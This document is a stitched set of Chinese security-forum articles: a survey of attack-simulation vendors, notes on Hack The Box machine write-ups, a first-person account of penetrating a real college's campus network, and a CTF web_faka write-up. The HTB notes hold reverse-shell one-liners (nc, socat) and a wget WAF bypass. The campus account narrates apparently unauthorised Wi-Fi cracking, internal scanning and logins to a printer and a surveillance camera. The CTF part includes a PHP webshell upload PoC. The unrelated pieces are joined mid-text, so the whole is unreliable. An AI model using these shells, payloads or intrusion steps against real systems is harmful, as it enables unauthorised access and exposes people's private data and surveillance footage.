Safebreach[^safebreach_info]是一家以色列的公司，是市场上BAS首批解决方案之一，成立与2014年，到目前（2022/06/12）已经有长达将近8年的BAS相关经验，在这么长的时间里，Safebreach平台也积累了若干模拟剧本，根据其官方说明，其已经覆盖了超过24000种不同的攻击方法，且可利用他们获得专利的Hacker's
Playbook™对已知的攻击方法编写或更新。一般是Safebreach官方会根据新的攻击方法进行编排，然后更新到平台里，用户可以在"Known
Attack Series"相关选项中进行模拟测试。
该公司的相关安全团队，也在github或者公司上公开了一些先进的安全技术研究成果，例如[pinjectra](https://github.com/SafeBreach-Labs/pinjectra)，是一个类似C/C++OOP的库，它实现了进程注入技术。
#### 技术栈
Safebreach使用的技术栈为Python。
localfile://path?media/16621148392109/16621150484111.jpg
#### 相关截图
由于笔者并没有权限获取到Safebreach平台的试用，所以只能从现有的一些有限资源里面截取相关的一些图片，当然，如果有相关资源者愿意提供试用平台，可以联系我（[[email protected]](mailto:[email protected])）。
### Cymulate
#### 简介
Cymulate是一家成立于2016年的以色列公司，Cymulate提供免费试用，用户可以自己在其官方网站上申请免费试用，但是免费试用的相关权限非常小，基本上只能看，不能下任务，很多功能无法运行，但是也可以略看一二。在平台上我们可以看到，Cymulate将模拟测试分为了以下几种类型进行评估：
* IMMEDIATE THREATS INTELLIGENCE （即时威胁情报）
* EMAIL GATEWAY （邮件网关）
* WEB GATEWAY （web网关）
* WEB APPLICATION FIREWALL （web应用防火墙）
* ENDPOINT SECURITY （终端安全）
* DATA EXFILTRATION （数据渗出）
下面简单介绍下前两种类型，其他类型感兴趣的可以自己申请账号试试看。
##### IMMEDIATE THREATS INTELLIGENCE
Cymulate平台上有关即使威胁情报的相关剧本（模板），总计966个。且支持用户根据URL、IP、Domain或者是pcap包自定义添加新的相关评估模板。
localfile://path?media/16621148392109/16621151544850.jpg
##### EMAIL GATEWAY
邮件网关相关的安全评估项内置数10个模板，列表如下：
* free assessment (针对不同类型的威胁测试电子邮件安全控制设备。)
* cymulate best practice (分3个阶段测试你的电子邮件安全。1、发送所有文件类型（非恶意行为）以测试当前的文件类型策略。2、根据阶段1中被渗透的文件类型，发送含有潜在代码执行的文件。3、发送模拟的恶意文件--基于阶段1和阶段2中被渗透的文件。)
* cymulate best practice - high risk (分3个阶段测试你的电子邮件安全：1、发送所有文件类型（非恶意行为），以测试当前的文件类型策略。2、根据第一阶段渗透的文件类型，发送含有潜在代码执行的文件。3、发送模拟的恶意文件--基于第一阶段和第二阶段渗透的文件。)
* exploits (近期浏览器端的漏洞和Windows的PoC。)
* malwares (1、通过电子邮件与C2进行通信。2、通过强制提示认证来收集证书。3、通过强制提示UAC来提升权限。)
* ransomwares (精心制作的Payload，模仿勒索软件的行为：1、扫描要加密的敏感文件。2、使用非对称加密算法（SHA256）加密文件)
* links (已知的或最近被CERTS、安全供应商和其他威胁情报引擎认定为恶意的网站样本。.)
* executables payloads (常见和不太常见的可执行文件，包含由脚本、嵌入对象和已知漏洞触发的模拟恶意行为。涵盖的文件类型：exe,com,scr,pif,vbs,vbe,js,jse,wsf,hta,bat,cmd,lnk,cpl,msi)
* worms (特点：1、扫描本地网络中易受攻击的机器。2、尝试使用用户令牌将自己复制到每台检测到的机器上。)
* office payloads (包含由脚本、嵌入对象和已知漏洞触发的模拟恶意行为的Office文件。文件类型包括：doc、docx、ppt、pptx、xlsx等。)
* Embedded Code (将嵌入代码注入到电子邮件的正文中。)
可以看到cymulate在测试邮件网关部分就使用了数十个模板，这些模板获取在运行中会生成n份相关的模拟攻击剧本来进行评估邮件网关配置的有效性以及能力。
#### 技术栈
Cymulate使用的技术栈为.net core。
#### 相关截图
### alphasoc/flightsim
#### 简介
flightsim是由alphasoc开源的一款软件，用于根据配置生成恶意网络流量，该工具可以模拟DNS隧道、DGA流量、对已知活动的C2请求以及其他恶意流量。详细的内容可以查看源码[alphasoc/flightsim](https://github.com/alphasoc/flightsim)。对于仅限于流量层面的恶意流量模拟，可以参考下该项目。
#### 技术栈
flightsim是使用技术栈为Golang。
#### 相关截图
### 其他厂商
还有很多其他的厂商，因为篇幅原因就不在这里进行过多的讨论了，大致列表如下：
* XMCyber（<https://www.xmcyber.com/）>
* SCYTHE（<https://www.scythe.io/）>
* Foreseeti（<https://foreseeti.com/）>
* Infection Monkey - Akamai (<https://github.com/guardicore/monkey>)
* Randori（<https://www.randori.com/）>
* Caldera（<https://github.com/mitre/caldera）>
* WhiteHaX（<https://www.ironsdn.com/）>
* keysight（<https://www.keysight.com/）>
* mandiant（<https://www.mandiant.com/）>
* Validato（<https://validato.io/）>
* Pentera（<https://pentera.io/）>
* fourcore（<https://fourcore.io/）>
* nopsec（<https://www.nopsec.com/）>
* atomicredteam（<https://github.com/redcanaryco/atomic-red-team）>
* bt3.no（<https://www.encripto.no/en/downloads-2/tools/）>
## BAS跑道上的一些国内同行
国内BAS相关的研究起步对于国外来说较晚，据目前公开资料查找到与BAS相关的公司产品如下:
* 墨云科技（<https://www.vackbot.com/）>
* 知其安（<https://www.zhiqiansec.com/）>
* 塞讯（<https://www.secvision.cn/）>
* 奇虎360（<https://360.net/）>
* 深信服（<https://www.sangfor.com.cn/）>
* 螣龙安科（<https://talentsec.cn/）>
* …………
localfile://path?media/16621148392109/16621152569281.jpg
## 结语
国内BAS大部分还处于早期发展中，相对于国外百花齐放的状态还需要一定的时间让国内市场去接受。
简单做出一个模拟功能的demo并不难，难的应该是从整体去考虑其如何支持链式的模拟，如一个APT组织从攻击web到获取到ad权限，在这个过程中，如何部署少量的Agent（模拟器）去完成整条链路的模拟，且可以在界面中控制如果安全设备拦截后是否继续进行攻击，还是会自动化模拟攻击其他可控范围内的目标？这些都需要进一步的思考和解决。
笔者也算了解了不少国内外的BAS平台，但是发现一个很尴尬的点，就是大部分不同厂家的BAS平台，都有一个对于BAS不同层度的解读和实现，且最终解决的问题大类是检查安全设备有效性，但是细分之下的小类就有很多了，有的更侧重于链式攻击、有的更侧重于流量重放模拟攻击，还有的侧重于恶意样本的多少，可谓是各有千秋，具体到实际的需求，还需要需求方仔细斟酌。
## Refer
* <https://www.slideshare.net/bdnog/breach-and-attack-simulation-tools>
* <https://cloudcape.de/what-is-breach-and-attack-simulation/>
* <https://en.wikipedia.org/wiki/SafeBreach>
* <https://github.com/SafeBreach-Labs/pinjectra> | 社区文章 |
国外Ahmed Hesham师傅记录了50多个Hack The
Box环境的渗透Writeup，很有学习价值，其中的渗透流程十分清晰，这里我将其中的知识点和自己的思考分享给大家，也欢迎师傅们留言补充。
Paper：[0xrick's Write-ups for hack-the-box](https://0xrick.github.io/categories/hack-the-box/)
### 一、AI
环境概述：Linux、Medium、30'、09 Nov 2019
渗透流程：Nmap -> Web Enumeration -> SQL injection –> Alexa’s Credentials –> SSH as
Alexa –> User Flag -> JDWP –> Code Execution –> Root Shell –> Root Flag
知识点：
* Nmap：-sC等价为--script=default，默认调取已知端口的脚本，输出相应服务的详细信息。
* 目录枚举：使用gobuster，`gobuster dir -u http://ai.htb/ -w /usr/share/wordlists/dirb/common.txt -x php`
* 文字转MP3：使用[ttsmp3](https://ttsmp3.com)，有中国女声，可读中文。
* MP3转WAV：使用ffmpeg，`ffmpeg -i test.mp3 test.wav`。
* Linux提权：使用`ps aux`查看root权限起的服务，使用`netstat -ntlp`查看敏感端口；在Github上使用关键词搜索exp。
思考：
* 目录枚举：除了gobuster，还有dirb、dirsearch、wfuzz等工具。wfuzz是web模糊处理工具，类似于Burpsuite的intruder功能。
* SQL注入：通过语音识别用户上传的wav文件，执行并输出结果。场景很新颖，hard CTF-style。
* Linux提权：发现Apache Tomcat服务，作者首先确定了此服务无利用价值后，进而深入研究了其Tomcat jdwp服务。
### 二、Player
环境概述：Linux、Hard、40'、06 Jul 2019
渗透流程：Nmap -> Web Enumeration -> FFmpeg HLS Vulnerability –> Arbitrary File
Read -> Command Injection –> User Flag -> Credentials in fix.php –> RCE –>
Shell as www-data -> Root Flag
知识点：
* 子域名枚举：使用wfuzz，`wfuzz --hc 403 -c -w subdomains-top1mil-5000.txt -H "HOST: FUZZ.player.htb" http://10.10.10.145`。
* 文件泄露：`.swp`, `.bak` and `~`。
* 端口扫描：使用masscan，`masscan -p1-65535 10.10.10.145 --rate=1000 -e tun0`。
* Banner头泄露：通过使用nc，`nc ip port`可查看相应服务泄露的banner头，如SSH可看到版本。
* TTY伪终端：使用python，`python -c "import pty;pty.spawn('/bin/bash')"`。
思考：
* 重定向：渗透过程中将Burpsuite或ZAP打开，便于查看请求历史，避免漏掉重定向前的请求应答页面。
* 源码泄露：`.xxx.php.swp`文件是异常退出vi/vim编辑器时产生的文件，使用`vi/vim -r xxx`恢复，除此之外，还有`.xxx.php.swo`、`.xxx.php.swn`等以sw+最后一个字母依次递增的后缀文件，各种编辑器异常退出产生的文件后缀不唯一。
* TTY交互式终端：使用socat，`#Listener: socat file:`tty`,raw,echo=0 tcp-listen:4444 #Victim: socat exec:`bash -li`,pty,stderr,setsid,sigint,sane tcp:1xx.xxx.xxx.xxx:4444`。
* Linux提权：只要是以root权限运行的服务，都要逐一排查。如果是PHP、Python等启动的程序，要进行代码审计，重点发现文件包含、命令执行漏洞，寻找输入点，并借此进程获取root。
### 三、Bitlab
环境概述：Linux、Medium、30'、07 Sep 2019
渗透流程：Nmap -> Web Enumeration -> File Upload –> RCE –> Shell as www-data ->
Database Access –> Clave’s Password –> SSH as Clave –> User Flag -> Reversing
RemoteConnection.exe –> Root’s Password –> SSH as Root –> Root Flag
知识点：
* 信息泄露：使用Nmap发现80端口存在robots.txt，-sC参数可以识别并输出具体内容；robots.txt泄露了大量disallow路径。
* 信息泄露：使用F12或开发者工具，查看HTML源代码，可能存在敏感JS代码。
* 路径关联：robots里的某路径和主仓库路径关联，使用同一静态文件（图片等）可快速确定。
* 数据库：连接数据库的工具不单只有特定的客户端程序，常见的编程语言均内置数据库连接函数，可以巧用。
* 数据库：PostgreSQL安装完后默认自带一个命令行工具psql。
* 文件传输：在反弹的伪终端中，使用scp下载文件，`scp [email protected]:/home/clave/RemoteConnection.exe ./`。
思考：
* Nmap：-sC和-sV倒不如直接使用-A，DNS、路由等信息也加入识别。
* 信息泄露：在厂商的授权测试中，巧用Github搜索可能会得到意外的代码信息。
* 文件定位：Windows下使用findstr，`findstr /si password *.xml *.ini *.txt`，查看后缀名文件中含有password关键字的文件；使用dir，`dir /b/s config.*`，查看当前目录所有config.为前缀的文件。Linux下对应grep和find。
* 数据库：若环境支持PHP，可以利用adminer，支持MySQL, MariaDB, PostgreSQL, SQLite, MS SQL, Oracle, SimpleDB, Elasticsearch, MongoDB。
* URL格式：`postgres://user:[email protected]:5432/path?k=v#f`，包含了模式（协议）、验证信息、主机、端口、路径、查询参数和查询片段。注意：`@`和`#`。
* 二进制程序：在逆向程序前可先使用关键字进行strings匹配。
### 四、Craft
环境概述：Linux、Medium、30'、13 Jul 2019
渗透流程：Nmap -> Web Enumeration -> RCE –> Shell on Docker Container -> Gilfoyle’s
Gogs Credentials –> SSH Key –> SSH as Gilfoyle –> User Flag -> Vault –> One-Time SSH Password –> SSH as root –> Root Flag
知识点：
* 版本控制：查看代码的同时记得查看Git提交记录，即Commit History。
* API泄露：根据API帮助文档，可构造请求数据包，获取服务器对应响应。
* 反弹Shell：使用sh -i、nc，`rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ip port >/tmp/f`。
* Python：作者写了个EXP demo，流程、输出都很清晰。其中，nc监听并实时返回结果可以利用subprocess子进程的Popen方法，`Popen(["nc","-lvnp",port])`。
* 环境分析：在`/根目录`发现了`.dockerenv`文件，判定当前环境为Docker容器。
* Linux登陆：使用SSH私钥，`ssh -i private.key user@host`。
* 信息搜集：着重关注用户家目录下的`.xxx`文件，往往都是服务的配置文件，可快速定位当前用户常使用的软件服务。
* Vault：一款密码保护工具，可以生成一次性root密码。
思考：
* 信息泄露：常用的版本控制工具除了Git还有SVN；利用公开的代码库搜索可能会有意外发现，可以使用[searchcode](https://searchcode.com)搜索来自Github, Bitbucket, Google Code, Codeplex, Sourceforge, Fedora Project, GitLab等开源仓库的代码内容。
* 环境分析：Linux下可以通过查看etc下的release文件快速判断，`cat /etc/*release`。Docker可以通过查看网络接口来简单判断，`ip a`。
* 文件查找：可以使用`ls -lat`按时间顺序来查看当前目录下的文件。
### 五、Smasher2
环境概述：Linux、Insane、50'、01 Jun 2019
渗透流程：Nmap -> DNS -> Web Enumeration -> auth.py: Analysis -> session.so:
Analysis –> Authentication Bypass -> WAF Bypass –> RCE –> Shell as dzonerzy –>
Root Flag -> dhid.ko: Enumeration -> dhid.ko: Analysis -> dhid.ko:
Exploitation –> Root Shell –> Root Flag
知识点：
* DNS：通过Nmap发现服务器开启了53/tcp DNS服务，使用dig利用域传送漏洞，`dig axfr smasher2.htb @10.10.10.135`。
* 文件对比：使用diff，`diff getinternalusr getinternalpwd`。
* Bypass：使用单引号，`'w'g'e't 'h't't'p':'/'/'1'0'.'1'0'.'x'x'.'x'x'/'t'e's't'`。
* Linux登陆：使用SSH公私钥，将公钥上传至~下的.ssh目录，命名为authorization_keys并赋予600权限，`~/.ssh/authorized_keys`，`chmod 600 ~/.ssh/authorized_keys`。
* 信息搜集：查看各类服务的日志记录，`/var/log/`。
* 后半部分涉及到逆向和PWN知识。
思考：
* 域传送：区域传输（Zone transfer）为了给同域下的DNS Server做负载均衡，管理员若配置不当可导致跨域传输，泄露域内DNS记录，如未公开的子域名等。
* 域传送漏洞：前提是获取目标Server使用的NS（Name Server），使用dig，`dig +nostats +nocomments +nocmd NS smasher2.htb`；Windows下可使用nslookup交互式界面，指定NS，`server 10.10.10.135`，列出DNS记录，`ls -d smasher2.htb`。
* DNS：标准服务须同时开启53/tcp、53/udp。递归解析时使用53/udp；区域传输因需要可靠传输必须使用53/tcp。
### 六、Wall
环境概述：Linux、Medium、30'、14 Sep 2019
渗透流程：Nmap -> Web Enumeration -> RCE -> WAF Bypass –> Shell as www-data ->
Screen 4.5.0 –> Root Shell –> User & Root Flags
知识点：
* 目录枚举：80/tcp端口是Apache Web服务，index为默认页面，这时使用gobuster枚举目录，有意外收获。
* Web认证：使用了Apache默认的认证方式，并进行了爆破。
* Bypass Auth：GET请求monitoring目录触发Apache认证，将请求更改为POST绕过认证。
* 密码爆破：使用wfuzz，`wfuzz -c -X POST -d "username=admin&password=FUZZ" -w ./darkweb2017-top10000.txt http://wall.htb/centreon/api/index.php?action=authenticate`。
* Getshell：Centreon使用的版本19.04，使用searchsploit寻找EXP，`searchsploit centreon`，发现存在RCE。
* Bypass Exec：根据公开的EXP，反向追溯漏洞触发点，手工测试发现将空格替换成`${IFS}`，绕过WAF。
* Linux提权：发现screen工具拥有suid权限；编译exp，`gcc -fPIC -shared -ldl -o libhax.so libhax.c`。
* umask：`umask 000`，对所有位都不mask（掩码），新建文件和文件夹均为默认权限，并无存在意义。
思考：
* Web认证：Apache Basic Auth会在请求头中添加Authorization字段，内容为`用户名:密码`的base64编码，`Authorization: Basic YWRtaW46YWRtaW4=`；使用Burpsuite爆破，在intruder模块选中base64字段，payload type选择Custom iterator，分别设置`用户名字典、:、密码字典`。
* Bypass Auth：参考绕过Web授权和认证之[篡改HTTP请求](https://sobug.com/article/detail/25)。
* CSRF token：作者到这还没有登陆系统，token对于爆破无影响，直接抓包爆破即可。
* Bypass Exec：Linux环境下，除了`${IFS}`可代替空格外，还有`<>`重定向符、`{,}`格式包裹，参考我的博客总结[Some-tricks-of-Linux-in-CTF](https://ai-sewell.me/2017/Some-tricks-of-Linux-in-CTF)。
* Linux提权：文中提到利用拥有suid权限的可执行程序来提权，使用find，`find / -user root -perm -4000 -print 2>/dev/null`，可参考[Linux利用SUID权限提权例子](\[https://ai-sewell.me/2018/Linux-%E5%88%A9%E7%94%A8-SUID%E6%9D%83%E9%99%90-%E6%8F%90%E6%9D%83%E4%BE%8B%E5%AD%90/\]\(https://ai-sewell.me/2018/Linux-利用-SUID权限-提权例子/))；有哪些程序可用来提权，可以利用[gtfobins](https://gtfobins.github.io/)工具快速判断。
### 七、Heist
环境概述：Windows、Easy、20'、10 Aug 2019
渗透流程：Nmap -> Web Enumeration -> Enumerating Users –> Shell as Chase –> User
Flag -> Administrator Password from Firefox Process Dump –> Shell as
Administrator –> Root Flag
知识点：
* SMB：测试是否允许匿名登陆，使用smbclient，`smbclient --list //heist.htb/ -U ""`。
* 密码破解：Cisco Hash在线[Cracker](https://www.ifm.net.nz/cookbooks/passwordcracker.html)；由$组成的Hash使用john自动识别类型并破解，`john --wordlist=/usr/share/wordlists/rockyou.txt ./hash.txt`。
* 信息搜集：将搜集到的Cisco用户名和密码，以及john破解出的密码进行排列组合，成功登陆smb；使用[impacket](https://github.com/SecureAuthCorp/impacket)项目的[lookupsid.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/lookupsid.py)脚本获取目标用户信息，`lookupsid.py hazard:[email protected]`；使用[ evil-winrm](https://github.com/Hackplayers/evil-winrm)，Windows远程管理（WinRM）Shell登陆chase用户终端。
* 进程内存：使用[procdump.exe](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump)将firefox进程内存dump，`.\procdump64.exe -accepteula -ma 4980`。
* 寻找关键字：使用[strings.exe](https://docs.microsoft.com/en-us/sysinternals/downloads/strings)，`cmd /c "strings64.exe -accepteula firefox.exe_191129_211531.dmp > firefox.exe_191129_211531.txt"`，与Linux下strings无异；使用findstr寻找password，`findstr "password" ./firefox.exe_191129_211531.txt`。
思考：
* 密码破解：Hash类型的密码破解除了john，还有hashcat，Kali下均默认自带。常见的Hydra是爆破神器，专门爆破在线服务。
* 信息搜集：是渗透测试的重中之重，过程中遇见的用户、密码及可疑字符串都需添加至爆破字典中，便于后渗透使用。
* 进程内存：遇到可疑的进程，可将其内存dump下来进行字符串匹配，没准有意外发现。微软官方出品的procdump.exe，天生白名单，在实战环境中也很好用。
* 总的来说，本环境较多的是考验信息搜集的能力，将一些将看似无关紧要的信息进行排列组合，从而拿到flag。 | 社区文章 |
# 基于智能手机的近源渗透案例分享——持之以恒
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：L.A.M@Duncan Secteam
## 0x00：前言
道家云：“妙言至径，大道至简”。其实，在网络安全领域尤其是在“黑客圈”这句话甚为有用，正如文章标题所引用的“持之以恒”就是黑客圈的不二法宝。设想一下，把一个简单至极的事情重复一万遍，会有什么效果？你看看科比，梅西，C罗就知道了。回顾电信网络发展初期，个人计算机对于平民大众而言是一个极其“玄幻”的事物，大家通过新闻，广播和报纸知道有这么个东西，但是不知道长啥样，适时互联网的前身“ARPANET”也只是美国高校和军方组建的一个实验性网络。随着“ARPANET”不断发展壮大并为日后的Internet奠定了坚实的基础。而后，了不起的比尔.盖茨和不可一世的史蒂夫.乔布斯将电脑平民化，让PC机从神坛走向大众，最初的网络黑客逐步诞生了。对于黑客的先驱者而言，他们hacking的手法在现如今看来是机器粗糙，甚至可以说毫无技术含量，比如反复尝试不同的电话拨号序列从而可以免费拨打长途电话（在我儿时，这样的事情也是发生过的），或者用买麦片送的口哨来免费打电话，不厌其烦的尝试1000个可能的弱口令从而在线“人肉”爆破root口令等等。其实，最精妙的黑客攻击背后往往是持之以恒的坚守。
## 0x01：背景
Location：广元@四川
Place：当地某院校
Target：切入院校内部的校园网络，并在尽可能短的时间内，掌握学校内部网络情况，甚至横向扩展
Details：由于该校在五一假期前举办了一系列的比赛，作为其中某项比赛的参赛人员，利用比赛间隙了解该校内部网络。
整个校园实现了全面的Wi-Fi覆盖，采用的是WPA/WPA2+RADIUS的部署方式。初步猜测，校园网登陆账号为学生学号和教师的教职工工号。后来通过社工手段印证了学号的确是学生接入这个付费校园网的唯一方式。至于教师如何接入，尚未确认。
教学楼的各个教室都有自己的局域网（至少有一座教学楼如此，由于时间紧，任务重，没有跑遍该每一座教学楼并逐一测试），这类局域网可能是教师演示以及学生实验需要用到的。
江边月夜@广元
## 0x02：网络接入
由于要参加比赛，只能利用午间休息时间来做些有意思的事情。通过扫描发现了周遭以教室编号命名的Wi-Fi，本以为午间休息就这么愉快的开始了，没想到一切来得这么不可理喻和难以理解。通过密码猜解和“xx钥匙”尝试获取各个可以访问的Wi-Fi路由器密码，令人遗憾的是所有Wi-Fi都不能提供到校园网的接入，就连一个名为“Tp-Linkxxxx”的无线路由器，这种一看就知道是在给内网搭“飞线”的路由器，都无法访问校园网。
此法无门，我就把注意力放到了他们学校的校园无线网络上。通常情况下，学校的无线网络都是用学生的学号和教职工的工号作为账号进行登陆的。为此，我通过搜索引擎从他们学校网站上扒拉了一堆学号信息。
在这里，要打个小广告，感谢Duncan
SecTeam，让我对物联网hacking如此着迷，以至于我近乎偏执的认为这个技术见长的学校里面一定存在着某个设备，它可以为我提供网络接入的可能。于是，我开始顶着烈日在这个偌大的校园里面暴走。
第一个被我选中的地方是这个学校的图书馆。从我们team总结的经验来看，图书馆作为信息的载体不只有书籍，还有电子书籍以及对这些信息进行管理的各种图书管理系统。尤为重要的一点是，图书馆一般都是提供在线订阅服务的，也就是说它必然会接入校园网。刚进到图书馆，就发现他们有自己无线局域网，然而遗憾的是这个无线网络也必须要先进行校园无线网络认证。四下张望，发现图书馆内部一些检索书籍的电脑插有网线。于是，将电脑与网线连接，发现这些网线并不能接入任何网络，彻底凉凉了。
在图书馆楼底下，有一个电信营业厅。看到营业厅我就立马明白了，整个学校的校园网是电信负责组建和运维的，因此出于企业盈利的要求，校园网必须要付费使用，也就是说必须先开通，再储值，然后才能访问互联网和学校内部网络。其实，很多学校是允许学生通过无线校园网访问学校内部资源，仅当访问外网的时候才收取费用。关于校园网必须先到电信营业厅开通这事儿，我通过社工方式从营业厅工作人员那里核实过了，属实！这也印证了之前无法通过该校学生账号接入校园网，毕竟没有多少学生愿意为局域网内部资源付费。
跑了几个教学楼和图书馆之后，依然一无所获，说实话，有些气馁，但并未想过放弃，我坚信偌大个网络，不可能没有一个Bug。从图书馆出来，我溜达到了学校内部的校园超市，发现了一个叫做“物*”的Wi-Fi，尝试猜解密码，发现其密码的确是一个弱口令。
非常遗憾的是，校园超市的Wi-Fi无法上网，推测应该是为监控摄像头部署的无线网络。
又白干了，还是没能进入到校园网内部。出了超市，顺着走廊一直走，发现某某共享Wi-Fi软件中找到一个新的Wi-Fi，可以直接连接的那种，而且名字还挺亲切的。更让人嗨心的是，这个Wi-Fi可以上外网。一个学校会为了某一个部门，专门拉一根电信光纤，而不使用内部校园网吗？我个人觉得应该不会，何况这个学校校园网本就是电信运营的。其实，一般情况下，高校内部是不允许师生安装运营商的宽带的，毕竟每年可以从学生身上捞一笔。
就这样，在跑了差不多整个校园以后，总算找到了这么一个内网中的Bug。很嗨心，很兴混，有木有？
## 0x03:内网发现与横向渗透
接入“ _*_
C_IOT”网络之后，在nethunter上执行了traceroute命令追踪路由，发现内部还有172.xx.0.0/16网段。另外，还有一个10.xx.0.0/8内网网段，初步判断是该学校内部网络，因为电信运营商不会给一个固定的网络出口（校园网出口）分配一个同在移动终端网络（10.xx.0.0/8）的IP地址。
【友情提示】andrax一直没有把traceroute命令集成到系统之中，而且也不允许用户自行安装软件，因此只要麻烦一点，用nethunter来执行traceroute命令追踪路由。
在这个学校的xx物联网大楼大厅中有一个休息区，有桌子和椅子，身为肥宅的我选择坐下慢慢玩耍。打开电脑，连接部署在一加手机上的Andrax，这样就可以避免在电脑上跑Kali或者Andrax（PC版本），对于IoT环境下的hacking而言，控制电能损耗格外重要。
第一步，在andrax上执行nmap扫描：
nmap -sS -p21,22,23,53,80,139,445,1433,3306,3389,8080 -oX scitc_iot.nmap —min-hostgroup 32 192.168.10.85/24
为了加快扫描速度，我使用了—min-hostgroup选项，并设置了一个特别高的数值，可能还会有误报，但是快啊。
192.168网段端口开放情况如下：
因为发现了172.31网段，自己的心思就没放到192.168网段上。通过nmap扫描，得到了172.31段的主机及端口信息，这个段果挺有意思的，设备丰富，内容多彩。
与此同时，我通过以下命令对发现的10.10网段进行了扫描：
nmap -Pn -p21,22,23,25,80,139,443,445,1433,3389,8080 -oX _*_ c_iot_10.10.nmap
—min-hostgroup 256 10.10.0.0/16
虽然我已经把—min-hostgroup调到了256，但是直到下午比赛快开始的时候，才刚刚扫完，因此对于这个网段没有进行任何的横向扩展操作，仅仅是nmap扫描。下面给出的是开放了ssh或者telnet服务的主机。内网中一般只有网关设备会打开telnet或者ssh服务，再加之对这些主机IP的地址分析，很容易辨别出哪些是网关设备。
另外，从10.10网段的扫描结果中，我们发现了445端口。由于电信运营商封锁了445端口，因此从这个扫描结果我们可以进一步证实10.10网段不是电信的大内网，而是这个学校自己的校园网。
## 0x04:一个Wi-Fi密码引发的“血案”
因为扫描操作十分耗时，因此如前所述，我没有机会触碰到10.10的校园网。然而，在这个172.31网段中，却有一些意外之喜。
在这个网络中，我们发现了一台网络打印机。与其他部署于企业内部网络的打印机一样，这个打印机连最基本的权限管理都没有设置，通过默认密码即可登录管理员界面，查看设备状态，查看系统日志（包括留有文件名称的文件打印日志）以及证书（厂商预置的，应该没什么用）。
另外，在这个172.31网段中发现了至少3种IP摄像头，其中包括下面这个海康威视的设备。这台设备的admin账户登录是需要密码的，而且并不是厂商预设的默认密码，并且开启了登录尝试限制。尝试了admn，admin123，123456之后，已经完全没有抱任何幻想了，于是尝试了最后一把，即Wi-Fi密码，“ ** _*_** 1”。搞定，浏览器很痛快的给出了admin界面。
之前，还从来没碰过海康威视的IP摄像头，只是听说功能强大，能够支持网络存储。这次算是开了眼啦（当然，如果厂商愿意资助我们team做研究的话，不胜感激）。
从海康威视的Web管理界面来看，这些监控视频是可以下载的，不过都挺大的。
因为时间原因，整个hacking过程持续了接近3个小时。其实，有一半多的时间耗费在了寻找校园网接入的阶段，不仅要到处瞎逛，还得蹲在那儿测试。
## 0x05:案例总结
这个基于安卓手机的近源渗透案例其实没有什么技术含量，主要是利用了这个学校在校园网建设过程中存在的网络接入管理不严格等问题。
再者，网络管理员对于内网设备的管理是存在明显漏洞的，且不说那台默认密码的网络打印机（毕竟，几乎所有内网都是这个鬼模样，也不能过多强求）。但是，摄像头的登录密码无论如何不应该与Wi-Fi密码一致，里面存的可都是监控视频啊，指不定什么时候还可能作为呈堂证供。要是哪个黑客给一锅全删除了，那网管可就真凉凉了哦。。。
最后，这次近源渗透给我最大的启发或者说自己的些许感受，那应该是master说的那句：不要轻言轻易，坚持一下，哪怕再坚持一下，一切就有转机了。
## 0x06:参考
1、 andrax官方网站. <https://andrax.thecrackertechnology.com>
2、 Kali Nethunter官方文档. <https://www.kali.org/docs/nethunter/>
3、 海康威视网络摄像机默认密码.
<https://www.hikvision.com/uploadfile/image/20140717105352680.PDF>
4、 海康威视硬盘硬盘录像机系列.
<https://www.hikvision.com/uploadfile/image/20150304054013491.PDF> | 社区文章 |
# 深入剖析网鼎杯web_faka
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
2020网鼎杯半决赛的一道web题,网上大部分WP都没有给出这道题越权的挖掘视角,这里给出我的一种分析角度,还提供了另外一种最近在很多比赛也经常见到的phar反序列化的解法,写得不好，还请大佬们批评指正
## 0x01 越权漏洞
分析一下权限验证机制出现的问题.
访问`manage/Article/` 会自动跳转到`admin/login` 说明存在鉴权机制的
然后先找了一下数据库,看一下有没有和权限绑定的一些表,发现是有的,
system_auth_node这个表里面,显然这些节点访问都需要auth为3的操作,看下面的system_user表也可以知道只有超级管理员的auth权限为3,
然后再看下system_node这个表, 也可以看出来is_auth为1的节点都是需要权限验证的, is_login为1 的节点都是需要登录才能访问的.
这样直接看一下admin模块有哪些控制器/方法的is_auth为0 或者甚至不在这个表就可以尝试一下越权等操作
调试一下`manage/Article/`这个路由,直接全局搜索`invokeArgs`下断点,
直接run发现报错,是权限验证未通过,发现是一个类似HOOK的函数存在权限验证机制
直接跟到这个文件看一看,主要就是run方法,发现这个web应用就是根据数据库的那两个表来鉴权的, 挖越权直接对着控制器找表即可.
下面分析一下为什么`admin/index/info`方法是越权的, 因为数据库里面有两个特殊的值是`admin`,
按照开发者所写代码理解的,这样应该确保admin模块下的都会被鉴权,但是为什么会被绕过?
仔细看下鉴权代码: 看下面这三行就明白了.
$this->request = Request::instance();
list($module, $controller, $action) = [
$this->request->module(),
$this->request->controller(),
$this->request->action()
];
$node = strtolower("{$module}/{$controller}/{$action}");
$info = Db::name('SystemNode')->where('node', $node)->find();
`$node`值不会出现`admin`的情况的 ,因为存在默认值的填充, 访问`/` `$node`的值也是`index/index/index`,
所以数据库里所有不是`xxx/xxx/xxx`格式的节点全都是无效的..,所以就可以越权添加用户
仔细分析下_form方法就明白为什么可以添加高权限用户量,就不仔细分析了
## 0x02 任意文件读取
在`/application/manage/controller/Backup.php` 的`downloadBak`方法, 但是需要管理员权限才能利用
## 0x03 文件上传
在`application/admin/controller/Plugs.php`的`upload`方法,
这段代码有一个奇怪的点是最后保存的文件名和检测的文件名没什么关系.
还要注意一下`$token`和`$md5`,
`session_id()`返回空,`token=md5($filename);`
`$md5`要够长
poc:
# -*- coding: utf-8 -*- import requests
url='http://4ab2a4e7-10a0-4278-b40d-102103ee845d.node3.buuoj.cn/admin/plugs/upload'
headers={
'Cookie':'menu-style=full; s7466e88d=6af28adcb2f1da4cf54c31212ded61e5'
}
f = b'''GIF98a
<?php eval($_POST[cmd]);?>
'''
file = {'file': ('test.png',f)}
res = requests.post(url=url,headers=headers,files=file,data={'md5':'aaaaaaaaaaaaaaaabbb1.php','token':'e8e97db6ca719f45927d7b3223ea9182'})
print(res)
上传文件后访问`/static/upload/aaaaaaaaaaaaaaaa/bbb1.php` 即可
## 0x04 phar反序列化
